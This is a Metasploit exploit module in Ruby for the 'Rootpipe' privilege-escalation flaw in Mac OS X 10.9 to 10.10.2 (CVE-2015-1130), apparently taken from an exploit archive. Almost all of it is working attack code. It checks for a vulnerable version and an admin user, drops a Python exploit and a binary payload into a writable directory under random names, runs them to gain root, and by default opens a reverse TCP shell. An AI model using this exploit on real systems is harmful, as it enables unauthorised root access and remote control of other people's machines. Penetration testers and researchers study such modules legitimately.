Apple Mac OSX – ‘Rootpipe’ Local Privilege Escalation (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Exploit::Local Rank = GreatRanking include Msf::Post::OSX::System include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Mac OS X "Rootpipe" Privilege Escalation', 'Description' => %q{ This module exploits a hidden backdoor API in Apple's Admin framework on Mac OS X to escalate privileges to root. Dubbed "Rootpipe." Tested on Yosemite 10.10.2 and should work on previous versions. The patch for this issue was not backported to older releases. Note: you must run this exploit as an admin user to escalate to root. }, 'Author' => [ 'Emil Kvarnhammar', # Vulnerability discovery and PoC 'joev', # Copy/paste monkey 'wvu' # Meta copy/paste monkey ], 'References' => [ ['CVE', '2015-1130'], ['OSVDB', '114114'], ['EDB', '36692'], ['URL', 'https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/'] ], 'DisclosureDate' => 'Apr 9 2015', 'License' => MSF_LICENSE, 'Platform' => 'osx', 'Arch' => ARCH_X86_64, 'SessionTypes' => ['shell'], 'Targets' => [ ['Mac OS X 10.9-10.10.2', {}] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/shell_reverse_tcp', 'CMD' => '/bin/zsh' } )) register_options([ OptString.new('PYTHON', [true, 'Python executable', '/usr/bin/python']), OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes']) ]) end def check (ver? && admin?) ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe end def exploit print_status("Writing exploit to `#{exploit_file}'") write_file(exploit_file, python_exploit) register_file_for_cleanup(exploit_file) print_status("Writing payload to `#{payload_file}'") write_file(payload_file, binary_payload) register_file_for_cleanup(payload_file) print_status('Executing exploit...') cmd_exec(sploit) print_status('Executing payload...') cmd_exec(payload_file) end def ver? Gem::Version.new(get_sysinfo['ProductVersion']).between?( Gem::Version.new('10.9'), Gem::Version.new('10.10.2') ) end def admin? cmd_exec('groups | grep -wq admin && echo true') == 'true' end def sploit "#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}" end def python_exploit File.read(File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1130', 'exploit.py' )) end def binary_payload Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded) end def exploit_file @exploit_file ||= "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}" end def payload_file @payload_file ||= "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}" end end |